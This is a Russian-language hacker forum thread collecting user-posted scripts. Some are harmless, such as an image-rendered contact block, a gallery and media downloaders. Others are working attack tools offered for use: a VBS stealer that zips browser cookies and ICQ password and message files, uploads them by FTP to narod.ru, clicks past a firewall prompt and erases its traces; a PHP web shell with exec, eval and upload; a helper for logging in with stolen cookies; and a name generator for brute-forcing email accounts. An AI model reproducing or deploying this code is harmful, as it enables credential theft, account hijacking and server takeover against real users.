А ваще лучше так защитить: с помощью размещения текста на изображении. img_contacts.php PHP: <? // Строка с e-mail адресом $email="E-mail: [email protected]"; // Строка с ICQ $icq="ICQ: 123456"; // Создаем изображение с помощью библиотеки GD шириной 200 и высотой 30 пикселей $im = imagecreate(200, 30); // Задаем белый цвет (для фона) $bg = imagecolorallocate($im, 255, 255, 255); // Задаем черный цвет для шрифта $black = imagecolorallocate($im, 0x00, 0x00, 0x00); // Задаем размер шрифта $size=4; // Делаем белый цвет прозрачным imagecolortransparent($im,$bg); // Наносим надписи на изображение imagestring($im,$size,0,0,$email,$black); imagestring($im,$size,0,15,$icq,$black); // Посылаем браузере заголовок о выводе изображения header('Content-type: image/png'); // Выводим изображение в формате PNG imagepng($im); ?> Вывод инфы: HTML: <img src='img_contacts.php' border='0' alt='Информация'>
Простейшая галлерея на javascript С описанием к каждой фотке (картинке) в отдельно открывающемся окне (если нажать на картинку): Создаем четыре файла: 1. zakat1.jpg 2. zakat2.jpg 3. fail1.txt (Здесь описание картинки zakat1.jpg) 4. fail2.txt (Здесь описание картинки zakat1.jpg) и такой index.html: Код: Code: <html> <head> <title>Дополнительное окно с кнопкой ОТКРЫТЬ на странице и кнопкой ЗАКРЫТЬ в окне</title> <SCRIPT language="JavaScript"> function openwindow(i) { windop=window.open("fail.txt","mywindow","menubar=1,resizable=1,width=350,height=250"); windop.document.open(); windop.document.write("<html><head><title>Название странички</title>"); windop.document.write("</head><bоdу bgcolor=#FFFFCC>"); windop.document.write("<center><font face= serif,Arial,Verdana size=3 color=#000000><b>Заголовок текста на страничке</b></font></center>"); windop.document.write("<iframe src='fail"+i+".txt'></iframe>"); windop.document.write("<center><form><input type='button' value='Закрыть' onClick='window.close()'></form></center>"); windop.document.write("</bоdу></html>"); windop.document.close(); } </SCRIPT></head> <bоdу> <SCRIPT language="JavaScript"> for (var i = 1; i <= 2; i++) { document.write(i); document.write("<FORM ACTION=\"javascript:openwindow("+i+")\"><INPUT TYPE=IMAGE SRC=\"zakat"+i+".jpg\" HEIGHT=76 WIDTH=62 ALT=\"Yes\" BORDER=0 NAME=\"Yes\" ></form> "); }</SCRIPT> </bоdу> </html> Пихаем это всё в одну папку и запускаем index.html (c) Pashkela
IP [reverse] Script v 0.1 by De-visible IP [reverse] Script v 0.1 [Архив] В архиве два файла: Code: 1)IpTool.py - сам скрипт 2)result.txt - сюда записываются результаты [Описание] Скрипт определяет сколько сайтов расположено на одном сервере. Результаты выводит на экран, и записывает(каждый раз дописывает) в файл [result.txt] результат. Написан на питоне, юзаем)) [Скрипт] PHP: # -*- coding: cp1251 -*- #antichat.ru #author De-visible[ICQ#:22-3333-575] import urllib,re global site global ipURL def AboutScript(): print """ ###############About################ # # # [Reverse IP]Script v 0.1 # # # #___c0ded by De-visible____________# #___GreetZ to antichat.ru__________# #___ICQ: 22-3333-575_______________# #___special for antichat's users___# #___(c)2008________________________# #################################### """ def SaveToFile(writebuf): f=open("result.txt",'a') f.write("\n\n") f.write("site: "+site+" ["+ipURL+"?ip="+site+"]: \n") f.write("----------------------\n") for i in writebuf: f.write(i+"\n") f.write("\n----------------------") f.close def Trace(text_): print "\n\n" print "site: "+site+" ["+ipURL+"?ip="+site+"]: " print "----------------------\n" for i in text_: print " "+i print "----------------------\n" print "\n\n ::: process completed ::: " def GetIP(): data={"ip": site} send_data = urllib.urlencode(data) ipLog=urllib.urlopen(ipURL+"?"+send_data) text_=ipLog.read() txt_=re.findall(r"(www.*?)<\/li>",text_) Trace(txt_) SaveToFile(txt_) def Readln(): while 1: pass AboutScript() site="yandex.ru"#Сюда вписываем сайт ipURL="http://2ip.ru/server.php"#Это не трогаем:) GetIP() #Readln()#Что бы консоль не исчезала сразу. #---------------- [Download] http://rapidshare.com/files/172182987/IP_reverse_.rar.html
Поднятие времени проведенного за чтением форума, ака увлечение значения «Провел на форуме». Files: - ach_cookie.txt Файл в котором хранятся наши Куки от форума Antichat. Как получить? Заходим на форум (http://forum.antichat.ru/), и в адресной строке браузера пишем: javascript:document.write(document.cookie) Содержмивое копируем в ach_cookie.txt. Сохраняем, забываем. - ach_log.txt Лог скрипта, ака файл благодаря которому мы можем убедиться, что скрипт весит в фоновом режиме и даже работает. В лог записывается время последней удачной отправки GET на форум. - ach_run.php и собственно сам скрипт, который выполняет отправку GET запроса с нашими кукисами, каждые n минут. Запускаем - нас кидает на гугл. А скрипт начинает работу. Или сами закрываем страницу. И логами время от времени проверяем работоспособность. PHP: <?php ignore_user_abort(true); set_time_limit(false); function doSomthing() { $cookie = file_get_contents("ach_cookie.txt"); $sock = fsockopen("forum.antichat.ru", 80, $errno, $errstr, 30); if(!$sock) return false; else { $headers = "GET /index.php HTTP/1.1\r\n"; $headers .= "Host: forum.antichat.ru\r\n"; $headers .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4\r\n"; $headers .= "Cookie: $cookie\r\n"; $headers .= "Connection: Keep-Alive\r\n\r\n"; fwrite($sock, $headers); if(strpos(fgets($sock, 20),'200 OK')) return true; else return false; fclose($sock); } } if(ob_get_level() == 0) ob_start(); header("Location: http://www.google.ru/"); ob_flush(); flush(); while(true) { ob_flush(); flush(); if(doSomthing()) { file_put_contents("ach_log.txt",date("j M H:i")); sleep(60*5); } else break; } ob_end_flush(); ?>
Нашёл на компе скрипт, когда-то писал...щас подправил немного, хз зачем выложил, пусть валяется, можт пригодится кому )) PHP: <?php /* Скрипт для скачивания видео с Video.mail.ru by EnoT */ $link = !empty($_POST['link']) ? $_POST['link'] : ''; if($link){ $link = str_ireplace('www.', '', $link); $link = stripos($link, 'http://') === false ? 'http://'.$link : $link; if(preg_match('#^http://video\.mail\.ru/(mail|bk|list|inbox)/([a-z0-9-_\.]{1,16})/([0-9]+)/([0-9]+)\.html.*$#i', $link, $out)){ $download = 'http://video.mail.ru/'.$out[1].'/'.$out[2].'/'.$out[3].'/v-'.$out[4].'.flv'; header('HTTP/1.1 200 Ok'); header('Content-Type: video/x-flv'); header('Content-Disposition: attachment; filename="'.$out[4].'";'); die(readfile($download)); }else{ echo '<br/>Неверный формат ссылки<br/>'; } } ?> <html></body><center><h3>Скачать видео с mail.ru </h3><br/> введите ссылку: <form action="" method="post"> <input name="link" type="text" size="70" value="http://" /> <input type="submit" value="Скачать" /> </form> </center></body></html>
скрипт на Питоне для многопоточного чека Соксов5 ------------------- Run as: roastest.py input.file output.file count_theard site_test timeout Example: roastest.py input.txt output.txt 5 ya.ru 10 - эт в линуксе. Для работы нужна библиотека pycurl ----------------- PHP: #!/usr/bin/python try: import sys except: print 'error load library - sys' try: import thread except: print 'error load library - thread' try: import StringIO except: print 'error load library - StringIO' try: import pycurl except: print 'error load library - pycurl' def test_socks(): global list, fo, count_thead, count_good_proxy while ( len(list)>0 ): proxy = list.pop() wf = StringIO.StringIO() c = pycurl.Curl() c.setopt(pycurl.USERAGENT, 'Opera/9.50 (X11; Linux i686; U; ru)') c.setopt(pycurl.FOLLOWLOCATION, 0) c.setopt(pycurl.CONNECTTIMEOUT, sys.argv[5]) c.setopt(pycurl.URL, sys.argv[4]) c.setopt(pycurl.WRITEFUNCTION, wf.write) c.setopt(pycurl.PROXYTYPE,pycurl.PROXYTYPE_SOCKS5) c.setopt(pycurl.HTTPPROXYTUNNEL, 1) c.setopt(pycurl.PROXY, proxy) try: c.perform() except: pass c.close() rez = wf.getvalue() if (len(rez)>100): fo.write(proxy) count_good_proxy += 1 count_thead -= 1 print '''RoA SocksTest for Nerezus by PresidentUA ---------------''' if (len(sys.argv)!=6): print '''Run as: roastest.py input.file output.file count_theard site_test timeout Example: roastest.py input.txt output.txt 5 ya.ru 10 ---------------''' sys.exit() try: fi = open(sys.argv[1],'r') list = fi.readlines() except: print '|-| error input file '+sys.argv[1] sys.exit() print '|+| input file '+sys.argv[1]+' open' try: fo = open(sys.argv[2],'w') except: print '|-| error output file '+sys.argv[2] sys.exit() print '|+| output file '+sys.argv[2]+' open' sys.argv[3] = int(sys.argv[3]) if ( 0 < sys.argv[3] < 100): print '|+| create '+str(sys.argv[3])+' threads' else: print '|-| error create threads' sys.exit() sys.argv[5] = int(sys.argv[5]) if ((sys.argv[5]>=1) and (sys.argv[5]<=300)): print '|+| good set timeout' else: print '|-| error set timeout' sys.exit() try: temp = StringIO.StringIO() curl = pycurl.Curl() curl.setopt(pycurl.USERAGENT, 'Opera/9.50 (X11; Linux i686; U; ru)') curl.setopt(pycurl.FOLLOWLOCATION, 0) curl.setopt(pycurl.CONNECTTIMEOUT, sys.argv[5]) curl.setopt(pycurl.URL, sys.argv[4]) curl.setopt(pycurl.WRITEFUNCTION, temp.write) curl.perform() curl.close() rez = temp.getvalue() if (len(rez)>100): print '|+| good set site url' else: print '|-| error set site url' sys.exit() except: print '|-| error set site url' sys.exit() count_good_proxy = 0 count_thead = 0 for i in xrange(0,sys.argv[3]): count_thead += 1 thread.start_new_thread(test_socks,()) while (count_thead>0): pass fi.close fo.close print '---------------' print '|+| '+str(count_good_proxy)+' good socks. The End :)''' sys.exit()
Скрипт-грабер картинок с папки у юзверя на фотомайлру. Коряво конечно - прошу не пинать( PHP: <?php set_time_limit(0); ?> <html> <title>Качалка картинок с Foto.mail.ru и не только</title> <style> body{ background: gold; } .tab{ border: 2px black double; background: silver; width: 600px; position: absolute; top: 30%; left: 30%; } input{ border: 1px red solid; } </style> <body> <div class="tab"> <form action="" method="post"> <b>Введи URL папки с картинками.</b><br> <i> Например: <font color="red">http://foto.mail.ru/mail/truhacheva/1/</font></i>    <input type="text" name="url" size="40"><br> <b>Введи примерный номер последней картинки.</b><br> <i> Например: <font color="red">ссылка http://foto.mail.ru/mail/truhacheva/1/450.html - значит вводишь 450 </font></i>    <input type="text" name="end" size="5" maxlength="5"><br> <b>Введи номер первой картинки</b><br> <input type="text" name="start" size="5" maxlength="5"><br> <b>Расширение картинок</b><br> <input type="text" name="ext" size="5" maxlength="5" value="jpg"><br> <b>префикс картинок на сервере</b><br> <i>Например: <font color="red">blabla1.jpg, blabla2.jpg и т.д</font>    <input type="text" name="servpref" value="i-"><br><br><br> <b>Как называть картинки? Префикс.</b><br> <i>Например: <font color="red">blabla1.jpg, blabla2.jpg и т.д</font>    <input type="text" name="prefix"><br><br><br> <b>В какую директорию складировать?</b><br> <input type="text" name="dir"><br><br><br> <input type="submit" name="submit"> </form> </div> </body> </html> <?php /*If(!$_POST['url'] or $_POST['prefix'] or $_POST['end']){ exit; }*/ If($_POST['submit']){ $servpref=$_POST['servpref']; $dir = $_POST['dir']; if(!is_dir($dir)){ @mkdir($dir) or die("Проверьте права на запись в папку $dir !! "); } $url=str_replace("foto.mail.ru", "content.foto.mail.ru", $_POST['url']); for($i=$_POST['start']; $i<$_POST['end']; $i++){ $fp=@fopen($url.$servpref.$i."." . $_POST['ext'], "b"); If(!$fp){ continue; } $kar=fopen($dir . "/{$_POST['prefix']}".$i."." . $_POST['ext'], "a+"); while(!feof($fp)){ fwrite($kar, fgets($fp)); } } Echo "Закончено"; } ?>
Угнали у кого то куки? Лень гемороится и вручную вставлять их в браузер? Этот скрипт поможет) Нужна опера. PHP: <?php if(isset($_POST['go']) and !empty($_POST['cooks'])){ $cooki = explode("; ", $_POST['cooks']); $out = "<script>\r\n"; foreach($cooki as $cook){ $out .= "document.cookie = \"" . $cook . "\";\r\n"; } $out .= "setTimeout(\"document.location.reload(true)\", 1000);\r\n</script>"; header("Content-Type: text/plain"); echo $out; }else{ echo '<html> <body> <div style="position:absolute; top:20%; left:20%"> <form action="" method="post"> <h1>Сюда захерачь строку с куками</h1> <textarea cols="100" rows="20" name="cooks"></textarea><br> <input type="submit" name="go" value="Поехали!!!"> </form> </body> </html>'; } ?> 0. Запускаем скрипт, вставляем в текстовую область строку с куками и жмем кнопку, получаем код. 1.полученный код копируем в буфер обмена, 2.открываем в опере сайт, от которого куки угнали, 3.Жмем правой кнопкой мыши, выбираем "настройки для сайта" -> вкладка "Cookie" -> удаляем всё. 4. жмем view source или проcмотр исходного кода . Удаляем весь текст, и вставляем туда содержимое буфера обмена, жмём "применить" / 5. Вуаля!! Мы залогинены под украденными куками... PS если залогинится не удалось -значит куки устарели или яваскрипт отключен.
пепец, прочитать описание под скриптом нельзя чтоль? =) php скрипт только формирует код на яваскрипте, который уже в оперу вставляется =)
Solker, PHP: <?php ignore_user_abort(); set_time_limit(0); for ($i=0; $i<9999; $i++) { $url = "http://forum.antichat.ru/member.php?u=2674"; $ua = "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4"; $ref = "http://forum.antichat.ru/"; $cookie = "ВАШИ КУКИ "; $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, $ua); curl_setopt($ch, CURLOPT_COOKIE, $cookie); curl_setopt($ch, CURLOPT_REFERER, $ref); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0); $res = curl_exec($ch); sleep(60); } ?> Через cronjob.ru и нет проблемм)) Прошел 4х часовый тест. А вот несколько раз нужно было сгенерировать 3х значные ники для брута коротких имейлов. PHP: <?php $fp2 = fopen("3d_mail.txt", "w"); $str = 'abcdefghijklmnopqrstuvwxyz0123456789'; for ($iii=0; $iii<strlen($str); $iii++) { for ($ii=0; $ii<strlen($str); $ii++) { for ($i=0; $i<strlen($str); $i++) { fputs($fp2, $str[$i].$str[$ii].$str[$iii]."\r\n"); }}} fclose($fp2); ?>
VBS: - тырим cookie IE, Opera и ICQ данные и отсылаем на FTP на narod.ru Новая версия, изменения (значительные): 1. Всё стало архивирироваться посредством встроенного в windows архиватора zip (т.е. мы теперь не зависим от наличия в системе WINRAR или любого другого архиватора) 2. Исправлены ошибки в передачи файлов по FTP - теперь архивы не битые и рабочие 3. Отчеты пакуются не в один архив, как раньше, а в несколько, по названию архива можно понять его содержимое. Сделано с целью уменьшения вероятности потери файлов большого объема при передаче по FTP (т.е. даже если связь оборвется, какая-то информация всё-таки успеет отослаться) 4. В данной версия тыряца и архивируются в архив .zip с уникальным названием и отсылаются на FTP следующие вещи: - куки от IE - куки от Opera - Messages.mdb - история переписки ICQ (проверено только на ICQ6, не работает, если клиент ICQ6 запущен во время выполнения скрипта) - Owner.mdb - файл паролей и контактов ICQ (проверено только на ICQ6, не работает, если клиент ICQ6 запущен во время выполнения скрипта) В итоге при правильной работе скрипта у вас должно получиться 4 архива. >>СКАЧАТЬ (пароль 123)<< Ниже исходники: Code: Const FOF_SIMPLEPROGRESS = 256 Dim MySource, MyTarget, MyHex, MyBinary, i Dim oShell, oCTF Dim oFileSys dim winShell dim newfolderpath dim t On Error Resume Next 'Создаем временную папку для записи нужных нам результатов (лучше, если название будет УНИКАЛЬНОЕ, чтобы не было конфликтов) '========================================================== h = Hour(Now) m = Minute(Now) s = Second(Now) t = date() & "-" & h & "-" & m & "-" & s dim filesys, newfolder newfolderpath = "c:\12345" ' Название временной папки ICQ = 123456 'Номер ICQ, который хотим похекать set filesys=CreateObject("Scripting.FileSystemObject") If Not filesys.FolderExists(newfolderpath) Then Set newfolder = filesys.CreateFolder(newfolderpath) End If set filesys=Nothing Set newfolder=Nothing '========================================================== ' Тырим куки OPERA set WshShell1 = WScript.CreateObject("WScript.Shell") filePath = "C:\Documents and Settings\" & WshShell1.ExpandEnvironmentStrings("%USERNAME%") & "\Application Data\Opera\Opera\profile\cookies4.dat" 'Тут указываем, то что архивируем. MySource = filePath MyTarget = newfolderpath & "\" & t & "-" & "opera_cookie.zip" archPath_OPERA = t & "-" & "opera_cookie.zip" MyHex = Array(80, 75, 5, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0) For i = 0 To UBound(MyHex) MyBinary = MyBinary & Chr(MyHex(i)) Next Set oShell = CreateObject("WScript.Shell") Set oFileSys = CreateObject("Scripting.FileSystemObject") Set oCTF = oFileSys.CreateTextFile(MyTarget, True) oCTF.Write MyBinary oCTF.Close Set oCTF = Nothing set winShell = createObject("shell.application") winShell.namespace(MyTarget).CopyHere MySource wScript.Sleep(5000) Set oFileSys = Nothing Set oShell = Nothing set WshShell = Nothing set WshShell1 = Nothing '========================================================== ' Тырим куки IE Const ForReading = 1, ForWriting = 2, ForAppending = 8 Dim MyZipName Dim oApp, oFolder, oFile set WshShell1 = WScript.CreateObject("WScript.Shell") filePath = "C:\Documents and Settings\" & WshShell1.ExpandEnvironmentStrings("%USERNAME%") & "\Cookies" 'Тут указываем, то что архивируем. set WshShell1 = Nothing MySource = filePath MyTarget = newfolderpath & "\" & t & "-" & "ie_cookie.zip" archPath_IE = t & "-" & "ie_cookie.zip" MyHex = Array(80, 75, 5, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0) For i = 0 To UBound(MyHex) MyBinary = MyBinary & Chr(MyHex(i)) Next Set oShell = CreateObject("WScript.Shell") Set oFileSys = CreateObject("Scripting.FileSystemObject") Set oCTF = oFileSys.CreateTextFile(MyTarget, True) oCTF.Write MyBinary oCTF.Close Set oCTF = Nothing Set oApp = CreateObject("Shell.Application") Set oFolder = oApp.NameSpace(MySource) If Not oFolder Is Nothing Then oApp.NameSpace(MyTarget).CopyHere oFolder.Items End If wScript.Sleep(5000) Set oFile = Nothing On Error Resume Next Do While (oFile Is Nothing) Set oFile = oFileSys.OpenTextFile(MyTarget, ForAppending, False) If Err.number <> 0 then Err.Clear wScript.Sleep 3000 End If Loop Set oFile=Nothing Set oFileSys=Nothing '========================================================== ' Тырим переписку ICQ set WshShell1 = WScript.CreateObject("WScript.Shell") filePath = "C:\Documents and Settings\" & WshShell1.ExpandEnvironmentStrings("%USERNAME%") & "\Application Data\ICQ\" & ICQ & "\Messages.mdb" 'Тут указываем, то что архивируем. MySource = filePath MyTarget = newfolderpath & "\" & t & "-" & "ICQ_Messages.zip" archPath_ICQ_history = t & "-" & "ICQ_Messages.zip" MyHex = Array(80, 75, 5, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0) For i = 0 To UBound(MyHex) MyBinary = MyBinary & Chr(MyHex(i)) Next Set oShell = CreateObject("WScript.Shell") Set oFileSys = CreateObject("Scripting.FileSystemObject") Set oCTF = oFileSys.CreateTextFile(MyTarget, True) oCTF.Write MyBinary oCTF.Close Set oCTF = Nothing set winShell = createObject("shell.application") winShell.namespace(MyTarget).CopyHere MySource wScript.Sleep(5000) Set oFileSys = Nothing Set oShell = Nothing set WshShell = Nothing set WshShell1 = Nothing '========================================================== ' Тырим файл с контактами и паролем ICQ set WshShell1 = WScript.CreateObject("WScript.Shell") filePath = "C:\Documents and Settings\" & WshShell1.ExpandEnvironmentStrings("%USERNAME%") & "\Application Data\ICQ\" & ICQ & "\Owner.mdb" 'Тут указываем, то что архивируем. MySource = filePath MyTarget = newfolderpath & "\" & t & "-" & "ICQ_Owner.zip" archPath_ICQ_pass = t & "-" & "ICQ_Owner.zip" MyHex = Array(80, 75, 5, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0) For i = 0 To UBound(MyHex) MyBinary = MyBinary & Chr(MyHex(i)) Next Set oShell = CreateObject("WScript.Shell") Set oFileSys = CreateObject("Scripting.FileSystemObject") Set oCTF = oFileSys.CreateTextFile(MyTarget, True) oCTF.Write MyBinary oCTF.Close Set oCTF = Nothing set winShell = createObject("shell.application") winShell.namespace(MyTarget).CopyHere MySource wScript.Sleep(5000) Set oFileSys = Nothing Set oShell = Nothing set WshShell = Nothing set WshShell1 = Nothing '========================================================== 'Отсылаем на ФТП на narod.ru 'Создаем файл сценария для FTP.EXE set FSO = CreateObject("Scripting.FileSystemObject") Set WSHshell = WScript.CreateObject("WScript.Shell") Set sDir = WSHshell.Environment("Process") ' - находим путь к папке Windows Set cScript = fso.CreateTextFile (sDir("windir") & "\FTp.scr") '-Обозначаем место, где будет создан и сохранен файл сценария (в данном случае - папочка виндовз) cScript.WriteLine "Open ftp.narod.ru" '- Открываем соединение с сайтом ftp.narod.ru на 21 порту cScript.WriteLine "User" '- Имя пользователя cScript.WriteLine "Password" '- Пароль cScript.WriteLine "drive C:" '- Выбраем диск С cScript.WriteLine "lcd " & newfolderpath ' - Устанавливаем папку, откуда будем отсылать данные cScript.WriteLine "prompt" ' - Отключаем всякий диалог по каждому файлу cScript.WriteLine "binary" ' - метод передачи файлов по FTP cScript.WriteLine "PUT " & archPath_IE '- Отправляем куки от IE cScript.WriteLine "PUT " & archPath_OPERA '- Отправляем куки от OPERA cScript.WriteLine "PUT " & archPath_ICQ_history '- Отправляем историю переписки ICQ cScript.WriteLine "PUT " & archPath_ICQ_pass '- Отправляем файл паролей и контактов ICQ cScript.WriteLine "bye" '-разрываем соединение с ftp.narod.ru cScript.Close '- Конец записи в файл сценария ' Запускаем FTP-сценарий WSHshell.Run sDir("windir") & "\system32" & "\FTP.ExE -s:" & sDir("windir") & "\FTp.scr", 0 ' Обходим фаер (в данном случае Outpost, если не надо, закоментируйте с помощью символа " ' " все строчки, что ниже, до '---------------------------) set w=CreateObject("WScript.Shell") a=0 do r=W.AppActivate("ftp.exe") if r then a=1 w.SendKeys "{tab 2}" w.SendKeys "{enter}" end if loop until a=1 set w=Nothing '--------------------------- Set fso = Nothing Set WSHshell = Nothing '========================================================== 'Заметаем следы (удаляем временную папку с нашими палевными архивами) WScript.Sleep 60000 'Задаем паузу, чтобы успело скопироваться на ФТП - чем больше, тем надежней, в данном случае 1 минута set FSO = CreateObject("Scripting.FileSystemObject") Set MyFile = fso.GetFolder(newfolderpath) MyFile.Delete Set FSO = Nothing Set MyFile = Nothing Wscript.Quit ' -выход
PHP - функция по замене только первого найденного совпадения по шаблону в строке PHP: <? /* Функция по замене только первого найденного совпадения*/ function first($str,$chto_meniaem,$na_chto_meniaem) { $iparr = split ($chto_meniaem, $str); $count=count($iparr) . "\r\n"; echo $iparr[0]; for ($i=0;$i<=$count;$i++) { if ($i==1){$iparr[1]=$na_chto_meniaem;echo $iparr[1];} else { if (empty($iparr[$i])){$iparr[$i]=$chto_meniaem;echo $iparr[$i];} } } echo $iparr[$count-1]; } /* Пример использования*/ $msg="рудик вахтанг <<<<<<<<< дыня, арбуз, и т.п."; $meniaem = '<'; $zamena = 'ord("<")'; echo $msg . "\r\n"; echo first($msg,$meniaem,$zamena) . "\r\n"; ?>
PHP: <?php echo preg_replace('/</', 'ord("<")', '<<<<<<<<<', 1); // Четвёртый параметр именно для этого и придумали. ?>
Очень простой шелл PHP: <? echo 'OS : '.@substr(@php_uname(),0,120).'<br>'; echo 'User : '.get_current_user().''; ?> <FORM METHOD=GET><INPUT TYPE="text" NAME="cmd"><INPUT TYPE="submit" value="EXEC"></FORM> <FORM METHOD=GET><INPUT TYPE="text" NAME="eval"><INPUT TYPE="submit" value="EVAL"></FORM> <FORM METHOD=GET><INPUT TYPE="text" NAME="unlink"><INPUT TYPE="submit" value="unlink"></FORM> <FORM METHOD=GET><INPUT TYPE="text" NAME="upload"> to: <INPUT TYPE="text" NAME="to"><INPUT TYPE="submit" value="upload"></FORM> <pre> <? if($_GET['cmd']){echo exec($_GET['cmd']);} if($_GET['eval']){echo eval($_GET['eval']);} if($_GET['unlink']){echo unlink($_GET['unlink']);} if($_GET['upload']){$f=file_get_contents($_GET['upload']);$fp=fopen($_GET['to'],"w");fwrite($fp,$f);fclose($fp);} ?> </pre> BackDoor.CMD.11 by Hormold Палит Dr.Web, т.к. выслал им для проверки оперативности...
Socks-checker (PHP) (Задание) Скрипт работает в один поток (через сокеты, без использования curl). Для проверки сокса, он отправляет 3 байта - 0x05 0x01 0x00, результат (работает или нет), получаем исходя из ответа сервера. Сам скрипт сорри, я написал в приват а потом нашел этот псто здесь))
Можно скрипт которой показает папки данново сайта. Пример: Я хочу знать какие папки есть на сайт www.abv.bg
